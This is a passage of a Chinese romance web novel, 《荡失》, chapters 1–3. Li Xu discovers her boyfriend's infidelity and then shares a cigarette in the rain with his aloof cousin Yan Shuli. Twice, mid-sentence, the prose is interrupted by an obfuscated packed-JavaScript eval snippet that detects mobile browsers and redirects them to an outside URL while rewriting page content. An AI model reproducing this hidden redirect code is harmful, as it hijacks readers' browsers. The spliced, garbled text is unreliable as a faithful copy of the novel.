《荡失》 1. 01 01 空气似铁。 李絮站在玄关,被一只无形的手挡住,没再继续向前走。 她脸上神情既倦且淡,拎一个从机场绕道买回的芒果芝士蛋糕,穿一件简约的卡斯尔福德风衣,踏一双适合长途飞行的疯马皮骑士靴,周身携着风尘仆仆的寒与细雨。 低一低头。脚边泊着一个登机箱。登机箱旁边急不可耐地歪倒一双白金微闪的JIMMYCHOO。 行李箱是李絮的。 高跟鞋不是。 李絮拥有这处大平层豪宅的指纹许可,无声无息就打开了这扇掩藏秘密的门。 这甚至是去年陈彧刚搬过来麓月府时,她趁圣诞假期回国,陈彧主动要求她录入的。 ——或许是认为她远在佛罗伦萨,以研究生最后一年的忙碌程度而言,不会有机会私自用到这项许可。 是或不是无关紧要,李絮已经不再有兴趣揣测他的想法。 熟悉的古龙水气味在空中浮动,烟熏泥煤威士忌与杜松子酒混合出浓烈醇香,将感官压得发沉。 卧室里传来的动静不小,男女声音激烈,夹杂喘.息粗重的调情字眼,甜腻而亢奋的回应,甚至有几声耳熟的称呼。 “絮絮”、“宝贝”。 他这样扭曲地发出声音。 隔着另一个人,令李絮微微有些反胃。 无人有余裕留意到她这个不速之客。 她花了一两分钟消化这种恶心感,随后解锁手机,点开语音备忘录,在屏幕开始读秒之后,面无表情扫视一周餐厨客厅。 入目之处,与陈彧昨天若无其事跟她视频时没什么两样。 除却此刻凌乱散落在地毯上的女性衣物,以及随意搁置在岛台上的一只Constance19。 Epsom皮。奶昔白金扣。年轻女士的日常款,边上挂着一只白草莓美乐蒂。 李絮记得,自己在朋友圈刷到过这只挂着玩偶的手袋。 正如之前收到的那封匿名邮件所展示的那样,不存在任何误会或曲解,李絮再一次确认了这个事实。 ——陈彧违背了他们之间的关系。不止一次。 从骤然生疑到窥见真相,不过短短半个月。这种一点一点抽丝剥茧的过程,令她不合时宜地想到一个不怎么恰当的比喻: 剥除掉主观浪漫色彩,爱情故事的发展有时更像一桩凶杀案。不仅有其相似的悬疑性与血腥性,架构和结局也都大同小异。 她没有太过讶异,或许是因为早有心理预期。从一开始答应和陈彧交往,尝试建立一段亲密关系,她就已经隐隐约约预见会有这么一天。 毕竟不是谁都可以忍受两年多的无性恋爱。 本就不该开始的,李絮有些漠然又有些懊恼地反省,不该软弱地寄希望于他人。 酿就现今这副混乱局面,自己也有不可推卸的一份责任。 为了录音更清晰,她迫使自己向前走了几步。 离得越近,那些尖锐的声音越与记忆中的嗡鸣重叠,慢慢慢慢,连同画面中的人脸与肉.体都抽帧溶解,化作一滩黏稠、湿冷、散发恶臭的烂泥。 她被困在沼泽里,胃部被无形的丝线牵扯着,没有挣扎,任由自己的判断力静静发展。 应该走得更近些,直接撕扯掉这层遮羞的布,当面对峙,不为彼此留任何余地吗? 李絮接触过不少类似的戏码。戏剧里、生活中,有口耳相传,也有亲眼所见。所谓的出轨,不拘古今中外,向来不是什么新鲜事。 只是如今自己居然也成了这幕经典荒唐戏的主角之一,想想自己接下来要面对的情形,难免感觉滑稽。 以前还在国内读中学时,因为不光彩的身世,不是没被骗过、捉弄过,也不是没在人前出过丑,但李絮其实并没有旁人以为的那么习惯当笑柄。 她用指甲重重掐住手心,试图抽离情绪,以一种冷漠而置身事外的态度,又一次问自己。 应该走得更近些,滚入那片烂泥之中,往陈彧那张道貌岸然的脸上甩一巴掌,舍弃掉自己岌岌可危的体面与尊严,只为逞一时之意气吗? 她完全可以这样做,当然。 然后,她会得到一个怎样的结果呢。 被迫直视肉与肉相叠的腥臭画面,拙劣地报复对方不痛不痒一耳光,控诉几句轻飘飘毫无重量的事实,听几句轻飘飘毫无重量的忏悔、谎言或威胁,就可以从此恢复自由,从此相安无事,各自好好生活了吗? 不是的。 陈彧不会让事情这么简简单单就翻篇的。 毕竟在一起那么久,相识更久,李絮在某种程度上算了解他。事事遂愿的天之骄子,越是惨烈收尾,只会越不甘心地试图挽回。 这么表述或许有些荒谬与吊诡,但陈彧很在乎她。甚或在他的观念里,与性无关,他很爱她。 显然,他们对爱的理解并不同频。 但不妨碍他们对陈彧不会轻易放手这件事有共识。 拥有过再丢弃,和从未得到过,是截然不同的两种概念。陈彧在李絮身上花费诸多时间耐心,什么都得不到,是不会允许她这么说走就走的。 而李絮也不可能装作无事发生,继续构筑相爱的假象。 再然后呢。 有第三者在场,双方拉拉扯扯,倘若动静闹大了,事情传入长辈耳中。他们的关系迟早被摆上台面,公诸于众。 她会受到什么指责暂且不谈。 罗跃青这些年尚且无名无份跟在陈志诚身边,自己的女儿与情人的长子闹出这种龃龉,那个菟丝花一样依附他物而生的女人,日后在陈家,又该如何自处呢。 思及此,李絮不由自嘲一笑。 自己置身于这种难堪处境,又一次,每一次,居然还是会想到妈妈。 轻轻吁出一口气,她按停录音键,如同简单落下的一个决心。静止半晌,密匝匝的睫毛与视线皆低垂着,最后还是伸手将方才搁在岛台上的蛋糕重新拎了起来。 虽是陈彧中意的口味,也是专程为了他绕道买的。但卧室二人正打得火热,要是完事后发现被人白白听去半场活春宫,约莫也是惊大于喜,很难有胃口下咽。 既浪费了时间,就别再浪费食物了吧。 她有理有据劝诫自己。 外面夜渐深了。 匆匆来了一趟又去,再一次打开门锁,借着玻璃上光的反射,模模糊糊扫过一帧自己被框在窗里的脸。苍白冷漠,游魂一般,有种鬼气森森的昳丽。 何尝不像一场光怪陆离的梦呢。 李絮没什么情绪地拎了拎唇角,一秒都不愿再望入自己的眼睛,直接推着登机箱,头也不回地走了出去。 * 春寒料峭。 夤夜融化于城市的霓虹。 云城位于亚热带沿海,纬度低,三月初的温度用“冷”字形容并不贴切,只能勉强称之恻恻轻寒。 不过刚刚落过一场细雨,风被浇得发沉,存在感变重,割在脸上莫名添了几分凌厉。 李絮推着登机箱走出楼栋,被吹得不自觉眯了眯眼睛,不辨方向地穿过植物丰茂的小径。空气中浸润潮湿水汽,轻轻嗅一嗅,肺腑里尽是阴冷的绿意。 位于CBD的高端滨江楼盘,寸土寸金,由五幢住宅与一幢会所组成,隔水与地标霓虹塔对望。麓月府占地面积不算太大,但布局极其讲究,处处依足堪舆风水,不仅背后叠石砌山,还在正前挖了一页小而精致的湖泊。 李絮第一次过来,还不以为然地随口评价,“你们上哪请的大师?云城本来就湿气重,再怎么讲究遇水生财,这里离江边估计也就五十米,还不够,还得挖湖?倒不如腾出空间多种几棵树。” 作为开发楼盘的富邑集团少东家,陈彧听了也笑,从后揽住亲了亲她腮颊,“谁会嫌财多,这叫卖点懂不懂?另外我要严肃纠正你,风水是封建思想,现在不提倡,我们更建议叫它环境心理学。” 他们其实是有过一些类似于两情相悦的时刻的。 坐在挤满斑斓水彩的花房廊下,望着波光粼粼的碎湖,李絮忽然这样想起。 在湿冷的风中,她摸出手机,滑动屏幕,避开富邑集团旗下的酒店品牌,随便就近定了个房间。 虽然李兆霖和罗跃青都生活在云城,但李絮在这座城市没有家,今夜需要临时找地方落脚。 WhatsApp和微信都有新消息。她先回拒意大利同学Vanessa明天一起去图书馆的邀请,解释自己有急事离开佛村,要过几天才能见面。然后点开微信,好友霍敏思发了几张照片,问她落地了没有,催她赶紧抽空出去喝酒。 李絮低头打了几个字,顿了顿,又删掉,没有选择回复。 退出对话框,塞满各种联系人与无聊推送的App主页,陈彧依然是她的置顶。 这是在一起的第一天,陈彧自顾自拿她手机设置的,她没有拒绝。 那时候陈彧还在波士顿留学,李絮在佛罗伦萨美术学院读绘画专业。他第无数次飞十几个小时去见她,他们乘有轨电车从佩雷托拉机场返回市区,在圣诞夜的阿诺河边牵了手,决定开始一段隐秘的异地恋。 远距离恋爱的维持,极其依赖社交软件。 他们彼此学业都很繁重,陈彧作为继承人,更是早早开始接触家族产业 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042068|162575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 时差六小时,常常一个人醒来,另一个人还在梦中。一个人刚看完日落,另一个人已经准备歇息。一天二十四小时,减去塞满日程表的课业与课外workshop,再减去各自泡在画室与图书馆的分秒,对话很多时候都是有延迟的,甚至连早午晚安都得提前说。 平心而论,无论物质或时间,付出得更多的那一方都是陈彧。 将近千日的异地,李絮只飞过一次波士顿,在她读研究生第一年的圣诞假期。却数不清陈彧往返来去飞了多少次佛罗伦萨。 就连微信消息,也是收到的多,发出的少。 点进去置顶,对话还停留在李絮飞行于万米高空之上,无法作答的今夜。 15:29James【未接通】 15:30James【起床了吗?不接视频,在画室?还是忙论文?】 18:20James【记得吃饭bae,别喝太多咖啡。结束了打给我。】 19:08James【订了明晚的航班,LX1678,落地正好赶得及午餐,带我去吃上次那家奶油包?】 20:10James【未接通】 20:15James【想你。】 瞄一眼屏幕左上角时间,现在23:20。 相隔不过三小时。 前脚给她发信息,叫她宝贝,说想她。后脚就把别人带回家滚床单。 这么灵肉分离,情感与行动各司其职,哪边都不耽误,双线运行不可谓不高效。 说不定一心二用,两件事同时一起做,更省心力,更刺激。 李絮不由感慨这出众的时间管理体系,想笑,没笑出来,直接左滑取消了联系人置顶。 天气不好,雨后潮湿。住户出入多走地下车库,这个时间段路上除了零星几个遛狗的,几乎碰不见什么人。 小区安保监控严格,但李絮是正经刷人脸识别门禁进来的,不能归于外来访客。见她拖着行李箱无所事事地坐在湖边,巡逻保安态度很好地过来问一句需不需要帮忙,被微笑拒绝,也就恭恭敬敬地不再来打扰。在这种地方做物业,耳聪目明很要紧,学会闭嘴不管闲事更要紧。 李絮收起手机,顺势从包里摸出烟盒,抖出一支白色香烟衔在唇间。 打火机不让携带上飞机,她落地后也没进便利店。翻了翻装蛋糕的保温袋,所幸当时店内切件售罄,她买的是未切的六寸,店员按照默认标准,配送了蜡烛和火柴一次性便携包。 加入特殊染料的长杆火柴,呈现诡谲妍丽的钴蓝色,拿在手中像一支蓝鸢尾。 用惯打火机,划火柴的感觉很生疏,也很奇妙。尤其是在这种湿冷夜里。迅速擦过去一瞬,火焰膨胀,既怕烧到手,又怕易燃物反应短暂,烟来不及点着。 人人都有其宣泄情绪压力的途径,譬如极限运动、香烟、酒精、或者性。李絮的选择是一点无伤大雅的尼古丁。 以前刚刚一个人到意大利那段时间,忙,压力也大,喜欢咖啡配小雪茄提神。期间换过一两周电子烟,受不了那股晕晕乎乎甜得发腻的气味。后来慢慢就只抽一款淡口味的万宝路,烟雾薄,不呛人,击喉感也弱。她本身没什么瘾,多数是在画室熬夜时出去抽几支,用于克服过分亢奋或过分疲惫的精神。 日常里她将烟抽得很浪费,因为常常在发呆,任由烟丝空烧,有时甚至不怎么正经过肺。仿佛只是为了找点事做,格外机械地进行摄入这个行为。 亦如此刻。 云朵偶然聚合的夜,似乎又在酝酿另一场雨,冷空气中弥漫着一种陌生的滞碍与苦涩。 李絮起身抖落烟灰,挨在一棵巨大的细叶榕边。老枝灰褐,新枝翠绿。她仔细辨认着,用夹烟的手轻抚乔木粗砺的表皮。 “假如在人我之间寻找不到共鸣。”很奇怪地,她又再想起里尔克写给青年诗人的信,“那就试行与物接近,它们不会遗弃你。” 夜风中自然交错的枝桠犹如血管,吞吐过滤她指间燃烧的灰白烟雾,同时源源不断向她输送营养与氧气,无声支撑她的灵魂与躯体。 这样的想象令她感到安全。 更加速了思虑的澄清。 她从植物与尼古丁作用中得到安慰,准备抽完这支烟就离开。 今夜并非好时机。争吵也无法真正解决问题。消化完芜杂情绪,她会尽量,尽量让这场戏,迎来更平静、更体面、更不伤人伤己的落幕方式。 一切都会顺利结束的。 李絮掐灭烟,无声攥紧决心。 ——假如。 假如湖泊对岸,那个男人没有突如其来闯入自己视线的话。 2. 02 02 李絮从小就有自己长得好看的认知。 她的母亲罗跃青,年轻时在亚港选美拿过名次,也上过荧幕演过几部电影,容貌之姣好自不必说。她的父亲李兆霖,风流薄幸,品性自私,但单论外形,也可称一句端正俊朗。 李絮取好择优,继承了父母出众的相貌与优越的骨架。 她美得野蛮又有风情。脸小,且五官精致。高挑,且骨肉停匀。不需挑任何角度,或依恃气质装扮之类的托辞,是明艳得最无争议的那类浓颜美人。 中学之后,她改掉眼浅的坏习惯,学会装作不在乎。遇到不怀好意的目光,就挑挑眉,拿那双漂亮眼眸似笑非笑地睇过去,轻易伪饰成漫不经心的假象。 再加之她穿了唇环,野莓色的软嘴唇正中,衔住一圈冷硬白金。 与温顺绝不相关的阿芙洛狄忒形象,就这么极具攻击性地扎进眼底,令任何人都没有办法忽视。 爱美之心人皆有之。好看到一定程度的人,往往拥有许多隐形特权。虽不能令人一眼就喜欢,却也很难令人一眼就讨厌。 然而,言漱礼应该是不怎么喜欢自己的,李絮尚且有这个自知之明。 用“讨厌”来形容不太准确。讨厌是要耗费心力的。她在言漱礼心里,远远没有那么强的存在感与那么重的份量。 姑且,她猜,更像一种懒得正眼相看的轻蔑。 毕竟他们本来就不算一个世界的人。 美对金字塔顶端的那部分人而言,也从来不是稀缺物,而是货架上明码标价、可供任意消费的廉价商品。 夜色虽浓。 将岸陆分割开的湖泊却小,近得直直撞入彼此眼底的距离,不足以让他们有默契地假装视而不见。 言漱礼个高腿长,将近一米九的身量,穿一身极简的黑。防水冲锋衣配运动短裤,头戴式耳机挂在颈间,斜挎一个大容量户外运动包。 看方向,似乎刚从小区会所出来。 麓月府的户型装修,健身房和观景泳池算是每户标配。但会所设施更齐全,不仅提供24小时营业的射箭、网球、攀岩及拳击场所,更配备专业教练服务。 陈彧与言漱礼住在邻栋,夜间偶尔会过去打网球,跟李絮视频时,镜头不经意带到过几次言漱礼。李絮知道他有打球的习惯。 这会儿大概是刚刚结束对练,李絮所在的玻璃花房,是他步行归家的必经之路。 与陈彧那种平易近人的倜傥不同。 言漱礼欺霜赛雪,气质锋利,整个人压迫感很强,帅得极不耐烦、极有距离感。 你同他打招呼,他会颔首回应,展示基本的社交礼仪与绅士风度。但一旦超过这个基本标准以外,他其实连一个友好客套的假笑都懒得施予,疏冷得高高在上。 他们中学在同一所国际学校,陈彧和言漱礼比李絮高一个年级。往前追溯至第一次在琴房碰面,截止到认识第七年的今天,期间不多不少数次聚会偶遇,李絮从来没得过言漱礼一张笑脸。 约莫也有两人关系浅薄,并不相熟的原因。 他们之间唯一称得上有联系的点,只有陈彧。 言陈两家是世交。往前数,女眷之间沾亲带故,勉强又算远房亲戚。陈家经营的富邑集团,核心业务为酒店连锁及房地产置业。言家创建的普德控股,则是一所生命科技药企,旗下主营制药、医疗器械及消费品板块。 陈彧家世背景已算显赫,个人条件已算拔尖。 而言漱礼甚至处处都更胜一筹。 他们同龄,算是表兄弟,从小到大读的学校都是同一间,就连在波士顿租的公寓都在同一个社区。同圈层相识那么多年,家族有往来,又无利益竞争,关系理所当然维持得紧密。 言漱礼对社交不感兴趣。陈彧则喜欢热闹,每每回国组织旧友派对,都会邀言漱礼一起。言漱礼偶尔也会兴致缺缺地参加几次。 李絮在这种场合的角色定位,通常是狐假虎威的边角料——陈彧的便宜妹妹,或者霍敏思的漂亮跟班。 她谁都得罪不起,是以对谁都一副懒懒散散笑模样。开场装模作样喝几杯,巧笑倩兮敷衍几句“是呀”、“好呀”、“真的吗”,随后就找借口走开,意兴阑珊地躲角落寻清静去。 这个角落,通常都有固定的另一个人在觊觎。 那就是言漱礼。 李絮其实很难理解。和自己不一样,以言漱礼的身份地位,整个圈子差不多都围着这少爷转。他既不爱玩,又不需求这种谈不上有效的被动社交,为什么还要勉强自己来参加不喜欢的派对? 或许这就是高岭之花沾沾烟火气的方式吧。 李絮揣测不来天才的想法,索性不当回事。实在在无人处碰见了,躲不开,也不忸怩,就眉眼弯弯抿出梨涡,不卑不亢向他举杯问好。 言漱礼看起来没多愿意搭理她。 只一如既往冷冷颔一颔首,拿那双波澜不惊的琥珀色眼睛乜她几秒,就漠不关心地移开视线。 作为为数不多知道李絮和陈彧恋爱关系的人,按理说,言漱礼和李絮的关系应该比陌生人更熟悉些。 事实却并非如此。 除去在派对角落互相视对方为空气的默契,以及在中学一起上HigherLevel音乐选修课的那段时间,李絮几乎没有什么与言漱礼相处的经验。 上回这样单独二人面对面,还是她飞波士顿,落地遇见大雪,陈彧有事被绊住,临时拜托言漱礼去洛根机场接她。 回想起那次坐他副驾,那种度秒如年的无止境沉默,李絮又有点想叹气了。 高大的阴影逼近。 言漱礼越过湖泊,走到了与她四目相接的距离。 不可能由这位大少爷主动开口打招呼,理所当然的事。他愿意沿途停步,而非目中无人地直接走过去,已算格外赏光。 李絮心底无奈,面上却不显,浸在夤夜流淌的冷气中,美目盼兮地冲他笑了笑。 “好久不见,Leon。” 她声音轻而脆,风衣下摆猎猎翻飞,被凛风吞掉些许尾调。 顿了顿,怕夜色昏暗,他贵人忘事,认不出自己是谁,又善解人意地补充一句,“我是李絮。” 言漱礼面无表情,像过去每一次见面那样居高临下地审视着,好似觉得她讲了句莫名其妙的废话。 “我知道你是谁。” 声音冷而低沉,亦如其人。 李絮好脾气地抿出一个浅浅梨涡,没戳穿之前有几次,他根本就记不起她究竟姓甚名谁。 约莫一年不见。言漱礼将短发修得更利落,以实用为第一原则,毫不遮掩地露出额头与眉骨。没有任何赘余修饰,反而显得五官更立体,轮廓更深刻。 或许也有遗传了一部分日耳曼血统的原因。他的瞳孔隐隐约约呈现一种剔透的琥珀色,本该是暖亮的,实际对视时,却又总感觉冷峻,像极了日光底下不肯消融的雪与冰。 李絮喜欢这双眼睛——当然,只是纯粹出于审美的角度——但也不敢明目张胆多看。毕竟自己在对方眼里观感并不怎么样,实在不好唐突。 于是她维持着公式化的微笑,不露声色避开眼神接触,将视线放低,集中在那枚犹如松科植物果实的喉结上。 对于不得不应付、身高差异又较大的聊天对象,这是非常行之有效的方法。李絮试验过数次,对方几乎不会发现她在偷偷走神。 “好巧,没想到会在这里遇见。”她神情柔和,口吻散漫,不紧不慢地表演着友好与殷勤,“你这是刚刚运动回来?” 言漱礼低低“嗯”了声。 “那不耽误你回去休息了。”李絮抿出浅浅梨涡,乍见三两句就迫不及待道别,“毕竟实在有些晚,你应该也累了。我们下次有机会再聊。” 自然是场面话。 她和言漱礼并非熟到可以闲聊的关系,本身也没什么值得寒暄的价值。以为这么客套几句点到即止,笑一笑示个意,马上就能目送这尊大佛离开。 出乎意料地,言漱礼今天没有即刻撇开距离。反而站在原处,平静俯视这位与自己关系不生不熟的、表弟的女朋友。 “你眼睛很红。” 他简短开口,语气没有起伏,淡淡的,听不出什么情绪,也分不出究竟是关切还是陈述。 李絮暗暗诧异。 自己当下形容糟糕成这样了吗? 以至于这座不近人情的冰山都无法忽视,需要基于人道主义之类的角度,主动关心一句有事没事? “湖边风大。”她撩起一双滢润的眼,拿指尖随便拭了拭眼尾,噙着笑敷衍,“也可能是眼妆晕了的原因。” 其实她长途飞行根本不化妆,只习惯涂一点点保湿唇釉。 言漱礼唇线抿得很平,明显不信任这句潦草的回答,转而扫了一眼地上的行李箱。 “联系不上陈彧?”他平而直地问。 听见这个名字,李絮表情有转瞬即逝的滞顿,但很快掩饰过去。 她触屏,亮了亮手机屏幕,以示自己通信良好,不存在与谁联系不上的情况, “随便逛逛。”她微笑否认,“顺便抽支烟。” “将近零点。”言漱礼英俊地挑了挑眉,“你拖着行李箱逛小区。” 李絮耸了耸肩,笑眯眯地随口胡诌,“不失为运动的一种。” 言漱礼没有对此发表任何评价。 他本就寡言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042069|162575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少语,李絮更是懒得延伸话题,心想最好让话这么直挺挺摔在地上,谁都别再捡起。 一般读得懂空气的普通人,这么尴来尬去硬聊几句,早就心照不宣地互道晚安了。 但言漱礼天然有种无视他人情绪的权力。他无需察言观色,无需讨好或谄媚任何人,自然也就无需在乎,对方掩藏在社交面具底下的微笑是否出自真心。 李絮还没失去理智到直接拂言家少爷面子。他既站着不动,她就不可能冷脸赶,更不可能撇下他自己先走。 这么一言不发地静置着,未免难捱。 李絮百无聊赖地试图转移注意力,将手伸进风衣口袋,恰好摸到刚刚随手塞进去的烟盒。 这是她在古董市场淘来的漆器,黑体金边,居中镶嵌一枝由蓝宝石与祖母绿构成的鸢尾,充满ArtDeco时代美学特征,来自遥远的上世纪二十年代。 它的历任主人将它使用得很珍惜,没留下几多瑕疵。除却开合处齿轮稍稍滞涩,李絮沉思或焦虑时,习惯用指腹抵住这处棱角来回摩挲。 “记得你也抽烟。”她将金属旋开,悠悠含笑问,“不介意吧。” 其实不论对方会不会抽烟,让人抽二手烟都是无礼又粗鲁的行为。李絮当然知道。她就是装得有些烦了,想小小冒犯一下,期望言漱礼会皱起眉头,转身就走。 可惜不遂所愿。 言漱礼不仅没有皱眉,更没有转身就走。 他无波无澜,表情没有丝毫破绽,犹如一座完美的雕塑,甚至绅士地抬了抬手,示意她“请便”。 习惯了愿望落空,也就没有什么失望可言。在人与人的相处间,期望偶尔会成为一种微妙的暴力。在自己父母身上,李絮早早习得了这道理。 她一如既往放弃得迅速,兴致缺缺低头衔住一支烟,雪白滤嘴压住唇环,密匝匝睫毛像鸦羽般轻轻扇动。 可以感觉到言漱礼的目光仍然停驻在自己身上,冷而轻盈地,犹如凛冬霜雪覆落松枝。 不怪他一反常态,李絮自省。事实是凌晨时分拖着行李箱在别人小区游荡的自己更奇怪。 越想越觉得自己错漏百出,古怪又好笑。最后还是屈服于从小到大那套体面周全,手指重新拨动旋钮,咔哒,敞开金属心脏,将烟盒往他面前一递。 “味道比较淡。”她自若地翘起唇角,事先声明,“你可能会不习惯。” 言漱礼没有即刻接受,无声审视着她假惺惺的美丽作态,在李絮以为自己又要被拒绝时,才纡尊降贵从中抽了一支出来。 言漱礼是货真价实有底蕴的豪门出身。父亲是物理学教授,母亲是钢琴家,外公将他当作集团继承人培养,自幼规矩重,讲究多,家教也严格。 他的手理所当然是养尊处优的一双手。冷白修长,骨节分明,指甲剪得短而洁净。衬得夹烟的姿态都尤其斯文,透露出一种与生俱来的冷冽贵气。 李絮看着他,间或会莫名生出一种摧折的恶意。因为他一贯的漠然与旁若无人。过去是,现在也是。 那双琥珀色的眼睛仿佛总能轻而易举看穿自己。 无用的自尊心。 无谓的嫉妒心。 李絮很快迫使自己从幽暗的漩涡挣脱,自如地收起烟盒,礼貌借问,“对了,你打火机带在身上吗?” 言漱礼似乎顿了顿,言简意赅,“不在。” 李絮遗憾地“啊”了一声,本就不指望似的,低头翻找起自己的随身物件,“那我们惟有用原始一点的方式了。” 她脸型小巧,鼻尖挺秀,嘴唇柔软芬芳,却硬生生衔着冰冷的唇环。垂首时,一绺乌亮的长发贴着耳骨,抚过腮颊流淌下来。像云。从高处望落更显艳丽。 李絮没留意到这道不动声色的目光,只专注将蛋糕纸袋重新拆开。 透明塑料盒内,樱桃梗蜡烛完好无损。 长杆火柴刚刚被她因为技巧生疏而浪费掉一根,实际使用一根,还剩下最后一根。 毕竟只是便携式赠品,客户实际需求不高,又是易燃物,店铺须背隐形安全责任,不能在数量上苛求更多。 那双羊脂玉色的手一边夹烟,一边捻起火柴,在浓稠夜色中,几乎有种隽秀的透明感。 不远处,城市中心不眠的霓虹塔在夜空昂贵闪烁,浪漫的赛博色彩照曜江岸。 李絮站在昏暗的树荫里,向言漱礼靠近半步,划亮手中的赠品火柴,大方展示自己当下的窘迫。 “Leon。” 她声音很轻,将他的名字叫得很随便。像她笑起来那样随便。明明眼波流转,却不真正直视任何人,一字一句皆携着那标志性的漫不经心。 “可能要麻烦你低一低头。” 3. 03 03 摩擦的声音趋近于无。 红磷顷刻发光生热,引燃干燥的白杨木,弥散出微暗的火与稀薄的雾。 李絮言罢,重新衔住滤嘴,右手举高,将火递至言漱礼面前。准备礼貌地先替他点火,渐次再到自己。 言漱礼眉眼压低,冷漠地观察着眼前人,神色晦暗难明。 她的不情愿,并没有她自以为的藏得那么好。 她手中的火,也孱弱得难以经受夤夜的吞食。 再宽柔的春夜,也有砭骨的时刻。冷风骤起,轻寒地裹作一团絮,经过她身,又脱身而去。令火光生出摇曳的影,映得那张昳丽面庞明明暗暗混淆于昨与今的界线。 她贪靓,一身单薄,迫不及待要过渡到下一个季节。于是被夜晚惩罚。被不知所起的凛风吹得细细发颤。 像极手中的火。 言漱礼不知在想些什么,倏忽向前半步,挡在风侵拂而来的方向,隔着单薄的嘎巴甸面料,轻轻攥住了她手腕。 “别抖。” 他声音低低的,携着上位者惯有的强硬及命令意味,犹如一滩阒然蔓延的暗火,俯身将她握实。 李絮吃了一惊。 下意识想挣,没来得及挣开。被他折一枝花般更用力攥紧。心脏钝钝空跳半拍。 距离有些过于近了。 近到仿佛她浓密颤动的睫毛,都要软乎乎地扫在他皮肤上。 近到他看清了她唇环光洁的金属边缘,她嗅到了他身上明净锐利的皂感焚香。 火焰同时剥开两支香烟的细白外衣,烟丝烧灼,白雾缭绕,清苦辛辣的气味顷刻弥漫在彼此之间。 没有人再开口,耳边只余风声猎猎。 他们沉默地分享了这簇微弱的火。 限时燃烧的廉价火柴,仅有短短几秒的价值,焦化得格外迅速。 言漱礼动作一气呵成,没有丝毫停顿,也没有产生任何情绪波动。似乎就只是很想抽到这支烟,所以顺势扶了一下火。很快直起身,抽走她指尖剩余的火柴梗,轻轻一晃,丢进旁边的垃圾桶。 转瞬即逝的聚散,留不下多少痕迹。除了言漱礼不知有意无意依旧挡在风口,他们复又回到不逾矩的社交距离。 李絮一言不发将右手藏进风衣口袋。 指甲掐入手心,轻微刺痛。好奇怪。分明没有触摸到火焰,却有被灼伤的错觉。 一人垂眸。一人远眺。夜色稠密,雾暗云深,霓虹塔兀自变化闪烁。 沉默被不谋而合地延伸。 他们谁也没有看谁。 惟有指间明明灭灭燃烧的香烟,在刻雾裁风的春夜时隐时现,提醒分秒正在无声流逝。 恰在这样的时刻,雨落下来。 淅淅沥沥的碎响,将原本静止的湖泊击打出一圈圈细小的裂隙,像闪闪发光的碎玻璃。 早春的雨轻而婉约,并不犷烈。落也是断断续续轻飘飘地落,薄薄蒙一层氤氲水意,浸湿泥土草腥及行人思绪,悄无声息地赋予万物重量。 绵密雨幕中,手机突然无声震动,屏幕刺目亮起,弹出几则消息提醒。 李絮收起看雨的视线,后知后觉抬腕。 是微信。 连续三条,来自刚刚被取消的置顶联系人,陈彧。 23:34James【?】 23:34James【[可怜][可怜]】 23:35James【你一天没理我了bae,忙什么忙成这样?】 这见缝插针的关心,不知是中场休息,还是彻底完事了。 李絮唇际吐出一缕烟,内心感慨,自愧弗如。 哪里及您半分忙呢。 她没有回应的打算,干脆利落退出界面。 准备锁屏的瞬间,一个来电跳了出来。 不是微信语音,拨的是她Vodafone的意大利号码。李絮没有理会,也没有挂断,懒洋洋衔着烟,视若无睹任其闪烁。 “不接?” 李絮闻声望右,淡白烟雾被风撕裂,对上淡漠疏离的一双眼。 言漱礼比她高出太多,不必如何刻意,微微垂眸即可冷眼旁观她种种异常。 她手机屏幕上,【哥哥】两个字还在坚持不懈地试图侵占线路。 “不是什么重要的事。”李絮懒懒耸肩,将手机丢进包袋,衔住剩余三分之二的烟,吸了肺腑空空的一口,半真半假敷衍道,“也不习惯一心二用。” 言漱礼目光在她笑意盈盈的眉眼上停留片刻,似在辨别忖度她话中真假,又似全不在意她费心编造的答复。下一秒又面无表情抛出另一个问题。 “笑什么。” 不太温和的句式。 李絮顿了顿,翘着唇角回他,“随便笑一下。” 言漱礼修长食指点了点,烟灰扑簌簌飘落,像生错季节不合时宜的一场细雪。 “不想笑不用勉强笑。”他侧过视线,轻描淡写,“这里没有你的观众。” 好意料之外、又好不客气的一句对白。 听得李絮难免免愣了愣。 然而又不像嘲讽,她并不严谨地琢磨几秒,也分辨不出任何嫌恶或指责的意味。 于是只好草率地将之归类于某种居高临下的、施舍般的善意——像十七岁的言漱礼曾经表现出来的那样。 在“抱歉”与“谢谢”之间,李絮随机地选择了后者,继而慢慢收敛笑意,不再讲话。 一支烟浪费不了多少春光。 言漱礼做什么都认真,就连消遣都比旁人追求效率,不多时就静静熄了烟。 李絮则是做什么都心不在焉的那一个,拖拖沓沓抽一支无滋无味的淡烟,百懒千慵地萦绕在雾里。 所幸察言观色的本能还在。 “时候不早,又下冷雨。Leon你还是快些回去休息吧,以免越下越大,淋了容易感冒。” 明明讲了不必勉强笑,她还是习惯性眉眼弯弯地向他道晚安。纤细手臂半抱住自己,很怕冷、又很适应冷的姿态。猩红烟草岌岌可危缀在指间。 得不到回应,也不影响她面露微笑,多此一举地挥挥手,“我抽完剩下半支就走。见到你很高兴。” 她不想继续独处的信号已经非常明显。 言漱礼也早就察觉到了她字里行间透露出的表演性质。 他没有接话,亦不再将目光投注在她身上哪怕多一秒,冷冷点一点下巴算是作别。单手将冲锋衣的兜帽拉起来,半张脸陷进阴影,直接提步闯入霡霂??绵绵的春夜里。 